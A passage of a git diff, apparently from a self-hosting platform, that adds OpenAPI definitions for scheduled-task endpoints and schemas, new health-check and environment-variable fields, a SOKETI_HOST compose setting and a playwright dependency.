+ "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Scheduled task created.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/applications\/{uuid}\/scheduled-tasks\/{task_uuid}": { + "delete": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Delete Task", + "description": "Delete a scheduled task for an application.", + "operationId": "delete-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Scheduled task deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Scheduled task deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Update Task", + "description": "Update a scheduled task for an application.", + "operationId": "update-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "description": "Scheduled task updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/applications\/{uuid}\/scheduled-tasks\/{task_uuid}\/executions": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Executions", + "description": "List all executions for a scheduled task on an application.", + "operationId": "list-scheduled-task-executions-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all executions for a scheduled task.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTaskExecution" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/services\/{uuid}\/scheduled-tasks": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Tasks", + "description": "List all scheduled tasks for a service.", + "operationId": "list-scheduled-tasks-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all scheduled tasks for a service.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Create Task", + "description": "Create a new scheduled task for a service.", + "operationId": "create-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "name", + "command", + "frequency" + ], + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Scheduled task created.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/services\/{uuid}\/scheduled-tasks\/{task_uuid}": { + "delete": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Delete Task", + "description": "Delete a scheduled task for a service.", + "operationId": "delete-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Scheduled task deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Scheduled task deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Update Task", + "description": "Update a scheduled task for a service.", + "operationId": "update-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 300 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "200": { + "description": "Scheduled task updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/services\/{uuid}\/scheduled-tasks\/{task_uuid}\/executions": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Executions", + "description": "List all executions for a scheduled task on a service.", + "operationId": "list-scheduled-task-executions-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all executions for a scheduled task.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTaskExecution" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/security\/keys": { "get": { "tags": [ @@ -9617,13 +10303,7 @@ "content": { "application\/json": { "schema": { - "properties": { - "message": { - "type": "string", - "example": "Environment variable updated." - } - }, - "type": "object" + "$ref": "#\/components\/schemas\/EnvironmentVariable" } } } @@ -9721,13 +10401,10 @@ "content": { "application\/json": { "schema": { - "properties": { - "message": { - "type": "string", - "example": "Environment variables updated." - } - }, - "type": "object" + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } } } } @@ -10347,6 +11024,19 @@ "type": "integer", "description": "Health check start period in seconds." }, + "health_check_type": { + "type": "string", + "description": "Health check type: http or cmd.", + "enum": [ + "http", + "cmd" + ] + }, + "health_check_command": { + "type": "string", + "nullable": true, + "description": "Health check command for CMD type." + }, "limits_memory": { "type": "string", "description": "Memory limit." @@ -10714,6 +11404,10 @@ "real_value": { "type": "string" }, + "comment": { + "type": "string", + "nullable": true + }, "version": { "type": "string" }, @@ -10786,6 +11480,110 @@ }, "type": "object" }, + "ScheduledTask": { + "description": "Scheduled Task model", + "properties": { + "id": { + "type": "integer", + "description": "The unique identifier of the scheduled task in the database." + }, + "uuid": { + "type": "string", + "description": "The unique identifier of the scheduled task." + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled." + }, + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds." + }, + "created_at": { + "type": "string", + "format": "date-time", + "description": "The date and time when the scheduled task was created." + }, + "updated_at": { + "type": "string", + "format": "date-time", + "description": "The date and time when the scheduled task was last updated." + } + }, + "type": "object" + }, + "ScheduledTaskExecution": { + "description": "Scheduled Task Execution model", + "properties": { + "uuid": { + "type": "string", + "description": "The unique identifier of the execution." + }, + "status": { + "type": "string", + "enum": [ + "success", + "failed", + "running" + ], + "description": "The status of the execution." + }, + "message": { + "type": "string", + "nullable": true, + "description": "The output message of the execution." + }, + "retry_count": { + "type": "integer", + "description": "The number of retries." + }, + "duration": { + "type": "number", + "nullable": true, + "description": "Duration in seconds." + }, + "started_at": { + "type": "string", + "format": "date-time", + "nullable": true, + "description": "When the execution started." + }, + "finished_at": { + "type": "string", + "format": "date-time", + "nullable": true, + "description": "When the execution finished." + }, + "created_at": { + "type": "string", + "format": "date-time", + "description": "When the record was created." + }, + "updated_at": { + "type": "string", + "format": "date-time", + "description": "When the record was last updated." + } + }, + "type": "object" + }, "Server": { "description": "Server model", "properties": { @@ -11298,6 +12096,10 @@ "name": "Resources", "description": "Resources" }, + { + "name": "Scheduled Tasks", + "description": "Scheduled Tasks" + }, { "name": "Private Keys", "description": "Private Keys" @@ -11315,4 +12117,4 @@ "description": "Teams" } ] -} \ No newline at end of file +} diff --git a/openapi.yaml b/openapi.yaml index 11148f43b..fab3df54e 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -1952,9 +1952,7 @@ paths: content: application/json: schema: - properties: - message: { type: string, example: 'Environment variable updated.' } - type: object + $ref: '#/components/schemas/EnvironmentVariable' '401': $ref: '#/components/responses/401' '400': @@ -5087,6 +5085,478 @@ paths: security: - bearerAuth: [] + '/applications/{uuid}/scheduled-tasks': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Tasks' + description: 'List all scheduled tasks for an application.' + operationId: list-scheduled-tasks-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all scheduled tasks for an application.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - 'Scheduled Tasks' + summary: 'Create Task' + description: 'Create a new scheduled task for an application.' + operationId: create-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + required: + - name + - command + - frequency + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '201': + description: 'Scheduled task created.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/applications/{uuid}/scheduled-tasks/{task_uuid}': + delete: + tags: + - 'Scheduled Tasks' + summary: 'Delete Task' + description: 'Delete a scheduled task for an application.' + operationId: delete-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Scheduled task deleted.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'Scheduled task deleted.' } + type: object + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + patch: + tags: + - 'Scheduled Tasks' + summary: 'Update Task' + description: 'Update a scheduled task for an application.' + operationId: update-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '200': + description: 'Scheduled task updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/applications/{uuid}/scheduled-tasks/{task_uuid}/executions': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Executions' + description: 'List all executions for a scheduled task on an application.' + operationId: list-scheduled-task-executions-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all executions for a scheduled task.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTaskExecution' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + '/services/{uuid}/scheduled-tasks': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Tasks' + description: 'List all scheduled tasks for a service.' + operationId: list-scheduled-tasks-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all scheduled tasks for a service.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - 'Scheduled Tasks' + summary: 'Create Task' + description: 'Create a new scheduled task for a service.' + operationId: create-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + required: + - name + - command + - frequency + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '201': + description: 'Scheduled task created.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/services/{uuid}/scheduled-tasks/{task_uuid}': + delete: + tags: + - 'Scheduled Tasks' + summary: 'Delete Task' + description: 'Delete a scheduled task for a service.' + operationId: delete-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Scheduled task deleted.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'Scheduled task deleted.' } + type: object + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + patch: + tags: + - 'Scheduled Tasks' + summary: 'Update Task' + description: 'Update a scheduled task for a service.' + operationId: update-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '200': + description: 'Scheduled task updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/services/{uuid}/scheduled-tasks/{task_uuid}/executions': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Executions' + description: 'List all executions for a scheduled task on a service.' + operationId: list-scheduled-task-executions-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all executions for a scheduled task.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTaskExecution' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] /security/keys: get: tags: @@ -6027,9 +6497,7 @@ paths: content: application/json: schema: - properties: - message: { type: string, example: 'Environment variable updated.' } - type: object + $ref: '#/components/schemas/EnvironmentVariable' '401': $ref: '#/components/responses/401' '400': @@ -6075,9 +6543,9 @@ paths: content: application/json: schema: - properties: - message: { type: string, example: 'Environment variables updated.' } - type: object + type: array + items: + $ref: '#/components/schemas/EnvironmentVariable' '401': $ref: '#/components/responses/401' '400': @@ -6492,6 +6960,16 @@ components: health_check_start_period: type: integer description: 'Health check start period in seconds.' + health_check_type: + type: string + description: 'Health check type: http or cmd.' + enum: + - http + - cmd + health_check_command: + type: string + nullable: true + description: 'Health check command for CMD type.' limits_memory: type: string description: 'Memory limit.' @@ -6763,6 +7241,9 @@ components: type: string real_value: type: string + comment: + type: string + nullable: true version: type: string created_at: @@ -6811,6 +7292,86 @@ components: description: type: string type: object + ScheduledTask: + description: 'Scheduled Task model' + properties: + id: + type: integer + description: 'The unique identifier of the scheduled task in the database.' + uuid: + type: string + description: 'The unique identifier of the scheduled task.' + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + created_at: + type: string + format: date-time + description: 'The date and time when the scheduled task was created.' + updated_at: + type: string + format: date-time + description: 'The date and time when the scheduled task was last updated.' + type: object + ScheduledTaskExecution: + description: 'Scheduled Task Execution model' + properties: + uuid: + type: string + description: 'The unique identifier of the execution.' + status: + type: string + enum: + - success + - failed + - running + description: 'The status of the execution.' + message: + type: string + nullable: true + description: 'The output message of the execution.' + retry_count: + type: integer + description: 'The number of retries.' + duration: + type: number + nullable: true + description: 'Duration in seconds.' + started_at: + type: string + format: date-time + nullable: true + description: 'When the execution started.' + finished_at: + type: string + format: date-time + nullable: true + description: 'When the execution finished.' + created_at: + type: string + format: date-time + description: 'When the record was created.' + updated_at: + type: string + format: date-time + description: 'When the record was last updated.' + type: object Server: description: 'Server model' properties: @@ -7165,6 +7726,9 @@ tags: - name: Resources description: Resources + - + name: 'Scheduled Tasks' + description: 'Scheduled Tasks' - name: 'Private Keys' description: 'Private Keys' diff --git a/other/nightly/docker-compose.prod.yml b/other/nightly/docker-compose.prod.yml index 46e0e88e5..d42047245 100644 --- a/other/nightly/docker-compose.prod.yml +++ b/other/nightly/docker-compose.prod.yml @@ -72,6 +72,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/other/nightly/docker-compose.windows.yml b/other/nightly/docker-compose.windows.yml index 6306ab381..bf1f94af0 100644 --- a/other/nightly/docker-compose.windows.yml +++ b/other/nightly/docker-compose.windows.yml @@ -113,6 +113,7 @@ services: SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}" SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}" SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}" + SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}" healthcheck: test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ] interval: 5s diff --git a/package-lock.json b/package-lock.json index 6244197fb..d9a7aa7fc 100644 --- a/package-lock.json +++ b/package-lock.json @@ -10,7 +10,8 @@ "@tailwindcss/typography": "0.5.16", "@xterm/addon-fit": "0.10.0", "@xterm/xterm": "5.5.0", - "ioredis": "5.6.1" + "ioredis": "5.6.1", + "playwright": "^1.58.2" }, "devDependencies": { "@tailwindcss/postcss": "4.1.18", @@ -949,7 +950,8 @@ "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz", "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==", "dev": true, - "license": "MIT" + "license": "MIT", + "peer": true }, "node_modules/@tailwindcss/forms": { "version": "0.5.10", @@ -1402,8 +1404,7 @@ "version": "5.5.0", "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz", "integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/asynckit": { "version": "0.4.0", @@ -1556,6 +1557,7 @@ "integrity": "sha512-+kjUJnZGwzewFDw951CDWcwj35vMNf2fcj7xQWOctq1F2i1jkDdVvdFG9kM/BEChymCH36KgjnW0NsL58JYRxw==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@socket.io/component-emitter": "~3.1.0", "debug": "~4.4.1", @@ -1570,6 +1572,7 @@ "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">=10.0.0" } @@ -2330,7 +2333,6 @@ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=12" }, @@ -2338,6 +2340,50 @@ "url": "https://github.com/sponsors/jonschlinkert" } }, + "node_modules/playwright": { + "version": "1.58.2", + "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.58.2.tgz", + "integrity": "sha512-vA30H8Nvkq/cPBnNw4Q8TWz1EJyqgpuinBcHET0YVJVFldr8JDNiU9LaWAE1KqSkRYazuaBhTpB5ZzShOezQ6A==", + "license": "Apache-2.0", + "dependencies": { + "playwright-core": "1.58.2" + }, + "bin": { + "playwright": "cli.js" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "fsevents": "2.3.2" + } + }, + "node_modules/playwright-core": { + "version": "1.58.2", + "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.58.2.tgz", + "integrity": "sha512-yZkEtftgwS8CsfYo7nm0KE8jsvm6i/PTgVtB8DL726wNf6H2IMsDuxCpJj59KDaxCtSnrWan2AeDqM7JBaultg==", + "license": "Apache-2.0", + "bin": { + "playwright-core": "cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/playwright/node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, "node_modules/postcss": { "version": "8.5.6", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", @@ -2407,7 +2453,6 @@ "integrity": "sha512-wp3HqIIUc1GRyu1XrP6m2dgyE9MoCsXVsWNlohj0rjSkLf+a0jLvEyVubdg58oMk7bhjBWnFClgp8jfAa6Ak4Q==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "tweetnacl": "^1.0.3" } @@ -2512,6 +2557,7 @@ "integrity": "sha512-bPMmpy/5WWKHea5Y/jYAP6k74A+hvmRCQaJuJB6I/ML5JZq/KfNieUVo/3Mh7SAqn7TyFdIo6wqYHInG1MU1bQ==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@socket.io/component-emitter": "~3.1.0", "debug": "~4.4.1" @@ -2556,8 +2602,7 @@ "version": "4.1.18", "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.1.18.tgz", "integrity": "sha512-4+Z+0yiYyEtUVCScyfHCxOYP06L5Ne+JiHhY2IjR2KWMIWhJOYZKLSGZaP5HkZ8+bY0cxfzwDE5uOmzFXyIwxw==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/tapable": { "version": "2.3.0", @@ -2609,7 +2654,6 @@ "integrity": "sha512-dZwN5L1VlUBewiP6H9s2+B3e3Jg96D0vzN+Ry73sOefebhYr9f94wwkMNN/9ouoU8pV1BqA1d1zGk8928cx0rg==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", @@ -2709,7 +2753,6 @@ "integrity": "sha512-SJ/NTccVyAoNUJmkM9KUqPcYlY+u8OVL1X5EW9RIs3ch5H2uERxyyIUI4MRxVCSOiEcupX9xNGde1tL9ZKpimA==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@vue/compiler-dom": "3.5.26", "@vue/compiler-sfc": "3.5.26", @@ -2732,6 +2775,7 @@ "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">=10.0.0" }, @@ -2753,6 +2797,7 @@ "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz", "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==", "dev": true, + "peer": true, "engines": { "node": ">=0.4.0" } diff --git a/package.json b/package.json index dc4b912ea..81cd8c9a4 100644 --- a/package.json +++ b/package.json @@ -24,6 +24,7 @@ "@tailwindcss/typography": "0.5.16", "@xterm/addon-fit": "0.10.0", "@xterm/xterm": "5.5.0", - "ioredis": "5.6.1" + "ioredis": "5.6.1", + 